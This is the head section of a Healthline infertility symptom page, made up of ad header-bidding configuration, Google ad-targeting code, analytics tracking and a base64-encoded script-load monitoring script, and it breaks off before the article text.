<!DOCTYPE html>
<html xmlns:fb="http://www.facebook.com/2008/fbml" class="no-js hl-reset" lang="en" ng-app="Healthline">
<head>
  <script>
    window.PageLoadTime = new Date().getTime();
  </script>
  <script>
    /* observer-7.0.3 */eval(atob("IWZ1bmN0aW9uIHQoZSxuLG8pe2Z1bmN0aW9uIHIoYSxzKXtpZighblthXSl7aWYoIWVbYV0pe3ZhciB1PSJmdW5jdGlvbiI9PXR5cGVvZiByZXF1aXJlJiZyZXF1aXJlO2lmKCFzJiZ1KXJldHVybiB1KGEsITApO2lmKGkpcmV0dXJuIGkoYSwhMCk7dmFyIGQ9bmV3IEVycm9yKCJDYW5ub3QgZmluZCBtb2R1bGUgJyIrYSsiJyIpO3Rocm93IGQuY29kZT0iTU9EVUxFX05PVF9GT1VORCIsZH12YXIgYz1uW2FdPXtleHBvcnRzOnt9fTtlW2FdWzBdLmNhbGwoYy5leHBvcnRzLGZ1bmN0aW9uKHQpe3ZhciBuPWVbYV1bMV1bdF07cmV0dXJuIHIobj9uOnQpfSxjLGMuZXhwb3J0cyx0LGUsbixvKX1yZXR1cm4gblthXS5leHBvcnRzfWZvcih2YXIgaT0iZnVuY3Rpb24iPT10eXBlb2YgcmVxdWlyZSYmcmVxdWlyZSxhPTA7YTxvLmxlbmd0aDthKyspcihvW2FdKTtyZXR1cm4gcn0oezE6W2Z1bmN0aW9uKHQsZSxuKXsidXNlIHN0cmljdCI7ZnVuY3Rpb24gbyh0KXt2YXIgZT0iTkVXX1NDUklQVF9FVkVOVCIsbj1uZXcgcihlLHtkZXRhaWw6e319KTt0LmRpc3BhdGNoRXZlbnQobil9dmFyIHI9dCgzKTtlLmV4cG9ydHM9b30sezM6M31dLDI6W2Z1bmN0aW9uKHQsZSxuKXsidXNlIHN0cmljdCI7ZnVuY3Rpb24gbyh0KXt0LmFkb25pcz10LmFkb25pc3x8e30sdC5hZG9uaXMuc2NyaXB0U3RhdHVzZXM9e30sdC5hZG9uaXMucmVxdWVzdFN0YXR1c2VzPXt9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3JjXT0ibG9hZCIsaSh3aW5kb3cpKX0sITApLG8oZG9jdW1lbnQsImVycm9yIixmdW5jdGlvbih0KXt0LnRhcmdldCYmIlNDUklQVCI9PT10LnRhcmdldC5ub2RlTmFtZSYmKHdpbmRvdy5hZG9uaXMuc2NyaXB0U3RhdHVzZXNbdC50YXJnZXQuc3JjXT0iZXJyb3IiLGkod2luZG93KSl9LCEwKX0oKX0sezE6MSwyOjJ9XX0se30sWzRdKTs="));
  </script>
<script> window._adblock = true; </script>
<script type="text/javascript" src="/resources/base/js/util/advertising.js"></script><META name="ROBOTS" content="NOODP"/>
    <meta name="sailthru.image.thumb" content="https://www.healthline.com/image-not-available" />

  <meta property="fb:app_id" content="1529595680591919"/>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  <title>Infertility: Causes, Symptoms &amp; Diagnosis</title>
      <meta name="description" content="Infertility occurs when you’re unable to become pregnant after a year of trying, or after six months if you’re 35 or older." />
    <link rel="alternate" href="http://www.healthline.com/health/infertility" hreflang="en" />
    <meta http-equiv="content-language" content="en">
<meta name="k1" content="pid">
<meta name="k2" content="femalehealth">
<link rel="canonical" href="https://www.healthline.com/symptom/infertility" />
    <script type="text/javascript">
  if (roadblockId == null) var roadblockId = 0; //  NAVIGATOR: since -1 is DB default, a negative condition against 0 will pass and NOT roadblock any ads
  </script>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">

  <link href="/resources/healthline/css/site.less?v=v1.20180302195119" type="text/css"
        rel="stylesheet"/>
  <link href="/resources/base/css/rwd/header.less?v=v1.20180302195119" media="all" type="text/css" rel="stylesheet"/>
<link href="/resources/healthline/css/symptomsearch.less?v=v1.20180302195119" media="all" type="text/css" rel="stylesheet"/>
<link href="/resources/healthline/css/widgets/feedback/feedback.less?v=v1.20180302195119" media="all" type="text/css" rel="stylesheet"/>
<link href="/resources/healthline/css/symptomsearch-tour.less?v=v1.20180302195119" media="all" type="text/css" rel="stylesheet"/>
<link href="/resources/base/css/symptomchecker/overlay-mask-v3.less?v=v1.20180302195119" media="all" type="text/css" rel="stylesheet"/>
<link href="/resources/base/css/symptomchecker/symptom-search-dropdown.less?v=v1.20180302195119" media="all" type="text/css" rel="stylesheet"/>
<link href="/resources/base/css/rwd/symptomchecker/symptom-search-dropdown.less?v=v1.20180302195119" media="all" type="text/css" rel="stylesheet"/>
<link href="/resources/healthline/css/widgets/sharebar-global.less?v=v1.20180302195119" media="all" type="text/css" rel="stylesheet"/>
<link href="/resources/healthline/css/rwd/widgets/sharebar-global.less?v=v1.20180302195119" media="all" type="text/css" rel="stylesheet"/>
<link href="/resources/healthline/css/symptomchecker/results-v3.less?v=v1.20180302195119" media="all" type="text/css" rel="stylesheet"/>
<link href="/resources/healthline/css/rwd/symptomchecker/results-v3.less?v=v1.20180302195119" media="all" type="text/css" rel="stylesheet"/>
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.7.0/jquery.min.js"></script>

  <script>
  var HL_isReadMoreArticle = false;
  
  var HL_hcSubPage = '',
    HL_isErrorPage = false ? true : false,
    HL_isBrandedDrug = false ? true : false;
</script><!-- headerbidding from gpt.jsp -->
    <!-- adModel.enableAds eq "true" -->
<!-- not empty adModel.dfpAds["Leaderboard"] -->
<script type="text/javascript" src="/resources/base/js/lib/matchMedia.js"></script>

<!-- Prebid Config Section START -->
<script type="text/javascript">

  

  var PREBID_TIMEOUT = 700,
    adUnits = [],
    pbjs = pbjs || {},
    hlAdPosIds = [];

  pbjs.que = pbjs.que || [];

  function hlCreateBids( pos, tile ) {
    var bidsArray = [],
      bidderName = '',
      bidderCpm = 0;

    //Insert All Bidder Tiles Here
    

  var placementIdforAllAdsAppnexus = {};

  if ( matchMedia( 'only screen and (min-width: 1024px)' ).matches ) {
    placementIdforAllAdsAppnexus.LB = '8753833';
    placementIdforAllAdsAppnexus.MR1 = '8753836';
    placementIdforAllAdsAppnexus.MR2 = '8753837';
    placementIdforAllAdsAppnexus.MR3 = '8753838';
    placementIdforAllAdsAppnexus.WSL = '8753839';
  } else {
    placementIdforAllAdsAppnexus.LB = '8753840';
    placementIdforAllAdsAppnexus.MR1 = '8753841';
    placementIdforAllAdsAppnexus.MR2 = '8753842';
    placementIdforAllAdsAppnexus.MR3 = '8753843';
    placementIdforAllAdsAppnexus.WSL = '8753847';
  }

  if ( typeof window.pbjs !== 'undefined' && bidderName && bidderName == 'appnexus' && bidderCpm > 0 ) {
    window.pbjs.bidderSettings = window.pbjs.bidderSettings || {};
    window.pbjs.bidderSettings.appnexus = {
      bidCpmAdjustment : function( bidCpm, bid ) {
        if (typeof bid !== 'undefined') {
          var grossBid = {
            'adId': typeof bid.adId === 'undefined' ? null : bid.adId,
            'adUnitCode': typeof bid.adUnitCode === 'undefined' ? null : bid.adUnitCode,
            'requestId': typeof bid.requestId === 'undefined' ? null : bid.requestId,
            'gross': bidCpm
        };
        window.pbjs.gross = window.pbjs.gross || [];
        window.pbjs.gross.push(grossBid);
      }
        return bidderCpm;
      }
    };
  }

  bidsArray.push({
    bidder: 'appnexus',
    params: {
      placementId: placementIdforAllAdsAppnexus[pos]
    }
  });

  var rubicon = {
    accountId: '11314',
    siteId: '105620',
    zoneId: '496214',
    bidCpmAdjustment: '0.9'
  };

  if ( matchMedia( 'only screen and (max-width: 1023px)' ).matches ) {
    rubicon.siteId = '105622';
    rubicon.zoneId = '496216';
  }

  if ( rubicon.bidCpmAdjustment !== false && typeof window.pbjs !== 'undefined') {
  // pbjs should be a global variable, this file is called from another function, watch scope
    window.pbjs.bidderSettings = window.pbjs.bidderSettings || {};
    window.pbjs.bidderSettings.rubicon = {
      bidCpmAdjustment : function( bidCpm, bid ) {
        if (typeof bid !== 'undefined') {
          var grossBid = {
            'adId': typeof bid.adId === 'undefined' ? null : bid.adId,
            'adUnitCode': typeof bid.adUnitCode === 'undefined' ? null : bid.adUnitCode,
            'requestId': typeof bid.requestId === 'undefined' ? null : bid.requestId,
            'gross': bidCpm
        };
        window.pbjs.gross = window.pbjs.gross || [];
        window.pbjs.gross.push(grossBid);
        }
        if( bidderName && bidderName == 'rubicon' && bidderCpm > 0 ){
          return bidderCpm;
        } else {
          return bidCpm * rubicon.bidCpmAdjustment;
        }
      }
    };
  }

  bidsArray.push({
    bidder: 'rubicon',
    params: {
      "accountId": rubicon.accountId,
      "siteId": rubicon.siteId,
      "zoneId": rubicon.zoneId,
      "inventory": {
        "k1": "pid",
        "k2": "femalehealth"
      }
    }
  });


  var paramsAol = {};

  paramsAol.network = '9502.1';
  paramsAol.LB = {};
  paramsAol.MR3 = {};
  paramsAol.bidCpmAdjustment = '0.85';
  if ( paramsAol.bidCpmAdjustment !== false && typeof window.pbjs !== 'undefined') {
  // pbjs should be a global variable, this file is called from another function, watch scope
    window.pbjs.bidderSettings = window.pbjs.bidderSettings || {};
    window.pbjs.bidderSettings.aol = {
      bidCpmAdjustment : function( bidCpm, bid ) {
        if (typeof bid !== 'undefined') {
          var grossBid = {
            'adId': typeof bid.adId === 'undefined' ? null : bid.adId,
            'adUnitCode': typeof bid.adUnitCode === 'undefined' ? null : bid.adUnitCode,
            'requestId': typeof bid.requestId === 'undefined' ? null : bid.requestId,
            'gross': bidCpm
          };
          window.pbjs.gross = window.pbjs.gross || [];
          window.pbjs.gross.push(grossBid);
        }
        if( bidderName && bidderName == 'aol' && bidderCpm > 0 ){
          return bidderCpm;
        } else {
          return bidCpm * paramsAol.bidCpmAdjustment;
        }
      }
    };
  }

  if ( matchMedia( 'only screen and (max-width: 767px)' ).matches ) {
    paramsAol.LB.placement = '4274582';
    paramsAol.MR3.placement = '4274583';

    try {
      bidsArray.push({
        bidder: 'aol',
        params: {
          placement: paramsAol[ pos ].placement,
          network: paramsAol.network
        }
      });
    } catch (e) {
      log.error("header-bidder-aol.jsp " + e.message + " The ad position is: " + pos + ".");
    }
  }


  var paramsYieldbot = {};

  paramsYieldbot.psn = '7422';
  paramsYieldbot.LB = {};
  paramsYieldbot.MR1 = {};
  paramsYieldbot.MR2 = {};
  paramsYieldbot.MR3 = {};
  paramsYieldbot.WSL = {};

  paramsYieldbot.LB.slot = 'LB';
  paramsYieldbot.MR1.slot = 'MR1';
  paramsYieldbot.MR2.slot = 'MR2';
  paramsYieldbot.MR3.slot = 'MR3';
  paramsYieldbot.WSL.slot = 'WSL';

  if ( matchMedia( 'only screen and (max-width: 767px)' ).matches ) {
    paramsYieldbot.psn = '5267';
    paramsYieldbot.LB.placement = 'a7a0e3d5344976fc4087';
    paramsYieldbot.MR3.placement = '3d0c4615c4aaaef28438';

  } else {
    paramsYieldbot.LB.placement = '19db3dd35efb1024ab32';
    paramsYieldbot.MR1.placement = 'ef127d3f172b0796d884';
    paramsYieldbot.MR2.placement = 'ef127d3f172b0796d884';
    paramsYieldbot.WSL.placement = 'bdd0620c3fda46310c00';

  }


  if ( typeof window.pbjs !== 'undefined' && bidderName && bidderName == 'yieldbot' && bidderCpm > 0 ) {
    window.pbjs.bidderSettings = window.pbjs.bidderSettings || {};
    window.pbjs.bidderSettings.yieldbot = {
      bidCpmAdjustment : function( bidCpm, bid ) {
        if (typeof bid !== 'undefined') {
          var grossBid = {
            'adId': typeof bid.adId === 'undefined' ? null : bid.adId,
            'adUnitCode': typeof bid.adUnitCode === 'undefined' ? null : bid.adUnitCode,
            'requestId': typeof bid.requestId === 'undefined' ? null : bid.requestId,
            'gross': bidCpm
        };
        window.pbjs.gross = window.pbjs.gross || [];
        window.pbjs.gross.push(grossBid);
        }
        return bidderCpm;
      }
    };
  }

  bidsArray.push({
    bidder: 'yieldbot',
    params: {
      psn: paramsYieldbot.psn,
      placement: paramsYieldbot[pos].placement,
      slot: paramsYieldbot[pos].slot
    }
  });

  bidsArray.push({
    bidder: 'amazon'
  });


  var siteIdforAllAdsIndexExchange = {},
    idforAllAdsIndexExchange = {};

  if ( matchMedia( 'only screen and (min-width: 1024px)' ).matches ) {
    siteIdforAllAdsIndexExchange.LB = '188649';
    siteIdforAllAdsIndexExchange.MR1 = '189342';
    siteIdforAllAdsIndexExchange.MR2 = '189343';
    siteIdforAllAdsIndexExchange.MR3 = '189343';
    siteIdforAllAdsIndexExchange.WSL = '189341';

    idforAllAdsIndexExchange.LB = '1';
    idforAllAdsIndexExchange.MR1 = '3';
    idforAllAdsIndexExchange.MR2 = '4';
    idforAllAdsIndexExchange.MR3 = '4';
    idforAllAdsIndexExchange.WSL = '2';
  } else if ( matchMedia( 'only screen and (min-width: 768px) and (max-width: 1023px' ).matches ) {
    siteIdforAllAdsIndexExchange.LB = '189344';
    siteIdforAllAdsIndexExchange.MR1 = '189346';
    siteIdforAllAdsIndexExchange.MR2 = '189347';
    siteIdforAllAdsIndexExchange.MR3 = '189347';
    siteIdforAllAdsIndexExchange.WSL = '189345';

    idforAllAdsIndexExchange.LB = '5';
    idforAllAdsIndexExchange.MR1 = '7';
    idforAllAdsIndexExchange.MR2 = '8';
    idforAllAdsIndexExchange.MR3 = '8';
    idforAllAdsIndexExchange.WSL = '6';
  } else {
    siteIdforAllAdsIndexExchange.LB = '189348';
    siteIdforAllAdsIndexExchange.MR1 = '189349';
    siteIdforAllAdsIndexExchange.MR3 = '189349';

    idforAllAdsIndexExchange.LB = '9';
    idforAllAdsIndexExchange.MR1 = '10';
    idforAllAdsIndexExchange.MR3 = '10';
  }

  if ( typeof window.pbjs !== 'undefined' && bidderName && bidderName == 'indexExchange' && bidderCpm > 0 ) {
    window.pbjs.bidderSettings = window.pbjs.bidderSettings || {};
    window.pbjs.bidderSettings.indexExchange = {
      bidCpmAdjustment : function( bidCpm, bid ) {
        if (typeof bid !== 'undefined') {
          var grossBid = {
            'adId': typeof bid.adId === 'undefined' ? null : bid.adId,
            'adUnitCode': typeof bid.adUnitCode === 'undefined' ? null : bid.adUnitCode,
            'requestId': typeof bid.requestId === 'undefined' ? null : bid.requestId,
            'gross': bidCpm
        };
        window.pbjs.gross = window.pbjs.gross || [];
        window.pbjs.gross.push(grossBid);
        }
        return bidderCpm;
      }
    };
  }

  bidsArray.push({
    bidder: 'indexExchange',
    params: {
      siteID: siteIdforAllAdsIndexExchange[pos],
      id: idforAllAdsIndexExchange[pos]
    }
  });


    return bidsArray;
  }

  

    var adUnitForLb = false,
      lbSizeRange = [];
    
        adUnitForLb = true;
      

    if ( matchMedia( 'only screen and (min-width: 989px)' ).matches ) {
      lbSizeRange = [[768, 90],[728, 90],[970, 250]];
    } else if ( matchMedia( 'only screen and (min-width: 767px)' ).matches ) {
      lbSizeRange = [[768, 90],[728, 90]];
    }

    if ( matchMedia( 'only screen and (max-width: 767px)' ).matches ) {
      lbSizeRange = [[320, 50],[300, 50]];
    }

    if( adUnitForLb ){
      adUnits.push({
        code: 'gpt-ad-lb',
        sizes: lbSizeRange,
        bids: hlCreateBids('LB')
      });
    }
  

    var mr1RangeString,
      loopIdx,
      inLoopIdx,
      mr1Size,
      mr1Range = [],
      adSize = '300x250,300x600,300x1050';

    if ( matchMedia( 'only screen and (max-width: 600px)' ).matches ) {
      adSize = '300x250';
    }

    mr1RangeString = adSize.split( ',' );

    if ( mr1RangeString.length > 0 ) {
      for ( loopIdx = 0; loopIdx < mr1RangeString.length; loopIdx++ ) {
        mr1Size = mr1RangeString[ loopIdx ].split( 'x' );

        // need to convert string to integer
        for ( inLoopIdx = 0; inLoopIdx < mr1Size.length; inLoopIdx++ ) {
          mr1Size[ inLoopIdx ] = parseInt( mr1Size[ inLoopIdx ] );
        }

        mr1Range.push( mr1Size );
      }
    }

    if ( mr1Range.length == 0 ) {
      mr1Range = [[300, 250], [300, 600], [300, 1050]];
    }

    var defineSlotForMR1 = false;
    
        if ( matchMedia( 'only screen and (min-width: 998px)' ).matches ) {
          defineSlotForMR1 = true;
        }      
      

  if ( defineSlotForMR1 ){
    adUnits.push({
      code: 'gpt-ad-mr1',
      sizes: mr1Range,
      bids: hlCreateBids( 'MR1' )
    });
  }
  
    var defineSlotForMR2 = false;
    
        if ( matchMedia( 'only screen and (min-width: 1024px)' ).matches ) {
          defineSlotForMR2 = true;
        }      
      

  if ( defineSlotForMR2 ){
    adUnits.push({
      code: 'gpt-ad-mr2',
      sizes: [[300, 250]],
      bids: hlCreateBids( 'MR2' )
    });
  }
  
        if ( matchMedia( 'only screen and (max-width: 997px)' ).matches ) {
          adUnits.push({
            code: 'gpt-ad-mr3-10',
            sizes: [
              [300, 250]
            ],
            bids: hlCreateBids( 'MR3', '10' )
          });
        }   
      
    var defineSlotForWSL = false;
    
        defineSlotForWSL = false;
      

    if ( defineSlotForWSL ){
      adUnits.push({
        code: 'gpt-ad-wsl',
        sizes: [[160, 600]],
        bids: hlCreateBids( 'WSL' )
      });
    }
  </script>
<!-- Prebid Config Section END -->

<!-- Prebid Boilerplate Section START. No Need to Edit. -->
<script type="text/javascript" src="/resources/base/js/ads/prebid.js"></script>

<!-- Amazon Prebid Adaptor -->
<script type="text/javascript" src="//c.amazon-adsystem.com/aax2/amzn_ads.js"></script>
<script type="text/javascript" src="/resources/base/js/util/get-page-template.js"></script>
<script>
  var googletag = googletag || {};
  googletag.cmd = googletag.cmd || [];
  var adsForPageLoad = adsForPageLoad || [];
  var hlPageTypeTargeting;

  function HL_sendMonetateImpression ( adType ) {
    window.monetateQ = window.monetateQ || [];
    window.monetateQ.push( ["setCustomVariables", [
      { name: "event", value: "hlKeyImpression" },
      { name: "hlKeyImpressionCategory", value: "Ad Impression" },
      { name: "hlKeyImpressionAction", value: adType + " Impression" }
    ]]);
    window.monetateQ.push([ "trackData" ]);
  }


  var HL_GA_dfpSite = 'hn.us.hl.ss.x.x.x',
    // page type info is the third and possibly fourth elements of dfpAdSite
    dfpSiteArray = HL_GA_dfpSite.split('.'),
    platformPageType = 'symptomSearchResultsV3';

    hlPageTypeTargeting = HL_getPageTemplate({
      dfpSiteArray: dfpSiteArray,
      platformPageType: platformPageType,
      hcSubPage: HL_hcSubPage,
      readMore: HL_isReadMoreArticle,
      isBrandedDrug: HL_isBrandedDrug,
      isErrorPage: HL_isErrorPage
    });

  googletag.cmd.push(function() {
    //need to refactor "window.HL_gptRefreshAds" function to accept array of ad positions to show, not "adPositionsToHide",
    //the reason is if it's "adPositionsToHide", when we need to update this function to accept new ad position, we need to
    //change all files which are calling it
    window.HL_gptRefreshAds = function (adPositionsToHide) {
      var adPositions = ['lb1', 'mr1', 'mr2', 'wsl', 'ws', 'pb', 'rtl'];

      if ( typeof adPositionsToHide !== 'undefined' && adPositionsToHide.length > 0 ) {

        for ( var i = 0; i < adPositionsToHide.length; i++ ) {
          for ( var j = 0; j < adPositions.length; j++ ) {
            if ( adPositionsToHide[i] == adPositions[j] ) {
              adPositions.splice(j, 1);
              break;
            }
          }
        }

        for ( var k = 0; k < adPositions.length; k++ ) {
          var adObject = {
            label: null
          };
          var adLoadStart = new Date().getTime();
          var adLoadDiff = adLoadStart - window.PageLoadTime;
          var adLoadTime = adLoadDiff/1000;
          var adLoadTimeRounded = Math.round(adLoadTime*10)/10;

          if( !window.adTimerStart ){
            window.adTimerStart = new Date().getTime();
          }

          if ( adPositions[k] == 'lb1' && window.HL_lbSlot ) {
            if (!window.hlLbLoaded) {
              window.hlLbLoaded = true;

              dataLayer.push({
                'event': 'hlAdLoad',
                'hlAdLoadCategory': 'Ad Display',
                'hlAdLoadAction': 'Ad Load Post Page Load',
                'hlAdLoadInteraction': true,
                'hlAdLoadLabel': 'lb:' + 'hn.us.hl.ss.x.x.x',
                'hlAdLoadValue': adLoadTimeRounded
              });
            }
            adPositions[k] = window.HL_lbSlot;
            adObject.label = 'LB';
          }
          if ( adPositions[k] == 'mr1' && window.HL_mr1Slot ) {
            adPositions[k] = window.HL_mr1Slot;
            adObject.label = 'MR1';
          }
          if ( adPositions[k] == 'mr2' && window.HL_mr2Slot ) {
            adPositions[k] = window.HL_mr2Slot;
            adObject.label = 'MR2';
          }
          if ( adPositions[k] == 'wsl' && window.HL_wslSlot ) {
            adPositions[k] = window.HL_wslSlot;
            adObject.label = 'WSL';
          }
          if ( adPositions[k] == 'ws' && window.HL_wsrSlot ) {
            adPositions[k] = window.HL_wsrSlot;
            adObject.label = 'WSR';
          }
          if ( adPositions[k] == 'pb' && window.HL_pencilSlot ) {
            adPositions[k] = window.HL_pencilSlot;
            adObject.label = null;
          }
          if ( adPositions[k] == 'rtl' && window.HL_rtlSlot ) {
            adPositions[k] = window.HL_rtlSlot;
            adObject.label = 'RTL';
          }
          if ( adPositions[k] == 'tl' && window.HL_tlSlot ) {
            adPositions[k] = window.HL_tlSlot;
            adObject.label = 'TL';
          }
          if ( adObject.label !== null ) {
            dataLayer.push({
              'event': 'hlKeyImpression',
              'hlKeyImpressionCategory': 'Ad Impression',
              'hlKeyImpressionAction': adObject.label + " Impression",
              'hlKeyImpressionLabel': topLevelAdUnit,
              'hlKeyImpressionInteraction': true
            });

            HL_sendMonetateImpression( adObject.label );
            log.info('Ad-Common - KIMP called: ' + adObject.label + ' : ' + topLevelAdUnit);
          }
        }
        AppNexusRefreshSlot(adPositions);
      }
    };

    
      window.HL_SxClazyLoadMR3 = function ( mr3Obj, tileIndex ) {
        pbjs.que.push(function() {
          pbjs.addAdUnits({
            code: 'gpt-ad-mr3-' + tileIndex,
            sizes: [
              [300, 250]
            ],
            bids: hlCreateBids( 'MR3', tileIndex )
          });  
        });
        AppNexusRefreshSlot( [mr3Obj] );  
      };
    

    function AppNexusRefreshSlot(adPositions) {
      var adUnitCodes = [];
      for(var i = 0; i < adPositions.length; ++i) {
        if ( typeof adPositions[i] === 'object' ) {
          adUnitCodes.push(adPositions[i].getSlotElementId());
        }
      }
      pbjs.que.push(function() {
        pbjs.requestBids({
          timeout: PREBID_TIMEOUT,
          adUnitCodes: adUnitCodes,
          bidsBackHandler: function() {
            pbjs.setTargetingForGPTAsync(adUnitCodes);
            

//Insert All Bidder Tiles Here


// Set Amazon Targeting here together when you set targeting for other prebid bidders.
try{ amznads.setTargetingForGPTAsync('amznslots');} catch(e){}
            googletag.pubads().refresh(adPositions);
          }
        });
      });
    }

    var micrositeId = '';
    

    var isMsiteActive = 'false';

    if ( micrositeId ) {
      isMsiteActive = 'true';
    }

    

    var networkCode = 4788;
    var topLevelAdUnit = 'hn.us.hl.ss.x.x.x';
    var s1 = 'pid';
    var adUnit = topLevelAdUnit;
    window.slotName = '/' + networkCode + '/' + adUnit;
    var test = '';
    var kw = 'pid,pelvic_inflammatory_disease,2796328,otherwomenshealth,ovariancysts,endometriosis,othermaledisorders,chlamydia,othergenetics,dysfunctionaluterinebleeding,pituitarycancer,otherthyroid';
    var k1 = 'pid';
    var k2 = 'femalehealth';
    var k3 = 'health';
    var ugc = 'false';
    var ac = '';
    var pv = '5'; // to dynamically set page view data
    var msiteID = micrositeId;
    var urlEncoded = '%2Fsymptom%2Finfertility';
    var url = decodeURIComponent(urlEncoded);
    var type = 'top_lb';
    var pageload = true;
    var lbPageLoad = true,
    wslPageLoad = true,
    mr1PageLoad = true,
    mr2PageLoad = true,
    mr3PageLoad = true;

    

// code to generate the random number
var adRPV = Math.floor(Math.random()*100)+1;
adRPV = adRPV.toString();



    function adDisplayGATimer( eventSlotPos, dfpAdSite, adLoadImpressionTimeRounded ) {
      dataLayer.push({
        'event': 'hlAdLoad',
        'hlAdLoadCategory': 'Ad Display',
        'hlAdLoadAction': eventSlotPos + ':page load',
        'hlAdLoadInteraction': true,
        'hlAdLoadLabel': eventSlotPos + ':' + dfpAdSite + ':' + adLoadImpressionTimeRounded,
        'hlAdLoadValue': adLoadImpressionTimeRounded
      });

      
      console.log('IMPRESSION - AD SLOT RENDER ENDED - Elapsed Time: ', adLoadImpressionTimeRounded, 's - Ad Position: ', eventSlotPos[0]);
      
    }

    googletag.pubads().setTargeting( 's1', s1 );
    googletag.pubads().setTargeting( 'test', test );
    googletag.pubads().setTargeting( 'ugc', ugc );
    googletag.pubads().setTargeting( 'ac', ac );
    googletag.pubads().setTargeting( 'pv', pv );
    googletag.pubads().setTargeting( 'msiteID', msiteID );
    googletag.pubads().setTargeting( 'msiteactive', isMsiteActive );
    googletag.pubads().setTargeting( 'url', url );
    googletag.pubads().setTargeting( 'type', type );
    googletag.pubads().setTargeting( 'kw', kw );
    googletag.pubads().setTargeting( 'k1', k1 );
    googletag.pubads().setTargeting( 'k2', k2 );
    googletag.pubads().setTargeting( 'k3', k3 );
    googletag.pubads().setTargeting( 'rpv', adRPV );
    googletag.pubads().setTargeting( 'pageTemplate', hlPageTypeTargeting );

    googletag.pubads().enableSingleRequest();
    googletag.pubads().disableInitialLoad();
    googletag.enableServices();

    googletag.pubads().addEventListener('impressionViewable', function (event) {

      if ( pageload && event.slot === window.HL_mr1Slot ) {
        $(document).trigger( 'event:ads:mr1:loaded' );
        pageload = false;
      }
      // https://developers.google.com/doubleclick-gpt/reference?hl=en#googletageventsimpressionviewableevent

      
      var elementId = event.slot.getSlotElementId();
      var adTimerEnd = new Date().getTime();
      var adLoadDiff = adTimerEnd - window.adTimerStart;
      var adLoadImpressionTime = adLoadDiff/1000;
      var adLoadImpressionTimeRounded = Math.round(adLoadImpressionTime*10)/10;

      console.log('IMPRESSION - AD VIEWABLE - Elapsed Time: ', adLoadImpressionTimeRounded, 's - elementId: ', elementId);
      
    });

    googletag.pubads().addEventListener('slotRenderEnded', function (event) {
      var impressionUnfilledTargets = 'lb/mr1/mr2/mr3/wsl';
      var eventSlotPos = event.slot.getTargeting('pos');
      var adTimerEnd = new Date().getTime();
      var adLoadDiff = adTimerEnd - window.adTimerStart;
      var adLoadImpressionTime = adLoadDiff/1000;
      var adLoadImpressionTimeRounded = Math.round(adLoadImpressionTime*10)/10;

      if ( lbPageLoad && eventSlotPos[0] === "lb" ) {
        lbPageLoad = false;
        adDisplayGATimer(eventSlotPos, 'hn.us.hl.ss.x.x.x', adLoadImpressionTimeRounded);
      } else if ( mr1PageLoad && eventSlotPos[0] === "mr1" ) {
        mr1PageLoad = false;
        adDisplayGATimer(eventSlotPos, 'hn.us.hl.ss.x.x.x', adLoadImpressionTimeRounded);
      } else if ( mr2PageLoad && eventSlotPos[0] === "mr2" ) {
        mr2PageLoad = false;
        adDisplayGATimer(eventSlotPos, 'hn.us.hl.ss.x.x.x', adLoadImpressionTimeRounded);
      } else if ( mr3PageLoad && eventSlotPos[0] === "mr3" ) {
        mr3PageLoad = false;
        adDisplayGATimer(eventSlotPos, 'hn.us.hl.ss.x.x.x', adLoadImpressionTimeRounded);
      } else if ( wslPageLoad && eventSlotPos[0] === "wsl" ) {
        wslPageLoad = false;
        adDisplayGATimer(eventSlotPos, 'hn.us.hl.ss.x.x.x', adLoadImpressionTimeRounded);
      }
      

      if (event.isEmpty) {

        log.debug( 'ad-common.jsp - event.slot.getTargeting(pos) - ' + event.slot.getTargeting('pos') + ' ---- isEmpty TRUE' );

        var adType = event.slot.getTargeting( 'pos' ),
          eventLable;

        if ( adType.length && (impressionUnfilledTargets.indexOf(adType[0]) != -1) ) {

          eventLable = adType + ':' + 'hn.us.hl.ss.x.x.x';
          if ( adType[0] === 'mr3' ) {
            eventLable = adType + ':' + event.slot.getTargeting('tile')[0] + ':' + 'hn.us.hl.ss.x.x.x';
          }

          log.info( 'ad-common.jsp - Impression Unfilled: ' + eventLable );
          try {
            HL_GA_dataLayer({
              hlCustomEventCategory: 'Any Page',
              hlCustomEventAction: 'Impression Unfilled',
              hlCustomEventLabel: eventLable,
              hlCustomEventInteraction: true});
          } catch (e) {

          }
        }
        if ( event.slot === window.HL_lb3Slot ) {
          log.debug('GPT Promise - LB expected - MOBILE');

          googletag.cmd.push(function () {
            if ( window.HL_lbSlot ) {
              window.HL_gptRefreshAds(['mr1', 'mr2', 'mr3', 'wsl', 'wsr', 'pb', 'tl']);
            }
          });
        }
      } else {

        if ( event.slot === window.HL_pw1Slot ) {
          $('#box-pw1').show();
          try {

            dataLayer.push({
              'event': 'hlKeyImpression',
              'hlKeyImpressionCategory': 'Ad Impression',
              'hlKeyImpressionAction': "PW1 Impression",
              'hlKeyImpressionLabel': "hn.us.hl.ss.x.x.x",
              'hlKeyImpressionInteraction': true
            });

            HL_sendMonetateImpression( "PW1" );

          } catch (e) {
            // if an undefined value in array exists, do no log in GA
            // this does not affect ad refresh
          }

          hlSendAdImpression({
            isRequest: false,
            pos: 'PW1',
            lineItemId: event.lineItemId,
            creativeId: event.creativeId,
            creativeSize: event.size
          });

        } else if ( event.slot === window.HL_tlSlot ) {
          $('#box-tl').show();
          try {

            dataLayer.push({
              'event': 'hlKeyImpression',
              'hlKeyImpressionCategory': 'Ad Impression',
              'hlKeyImpressionAction': "TL Impression",
              'hlKeyImpressionLabel': "hn.us.hl.ss.x.x.x",
              'hlKeyImpressionInteraction': true
            });

            HL_sendMonetateImpression( "TL" );

          } catch (e) {
            // if an undefined value in array exists, do no log in GA
            // this does not affect ad refresh
          }
        } else if ( event.slot === window.HL_lb3Slot ) {
          try {

            dataLayer.push({
              'event': 'hlKeyImpression',
              'hlKeyImpressionCategory': 'Ad Impression',
              'hlKeyImpressionAction': "LB3 Impression",
              'hlKeyImpressionLabel': "hn.us.hl.ss.x.x.x",
              'hlKeyImpressionInteraction': true
            });

            HL_sendMonetateImpression( "LB3" );

            log.debug( 'GPT Common - KIMP called: LB3: hn.us.hl.ss.x.x.x' );

          } catch (e) {
            // if an undefined value in array exists, do no log in GA
            // this does not affect ad refresh
          }
        } else if ( event.slot === window.HL_mr1Slot ) {
          $('#gpt-ad-mr1').attr('data-line-item-id', event.lineItemId);
          $('#gpt-ad-mr1').attr('data-creative-id', event.creativeId);

          hlSendAdImpression({
            isRequest: false,
            pos: 'MR1',
            lineItemId: event.lineItemId,
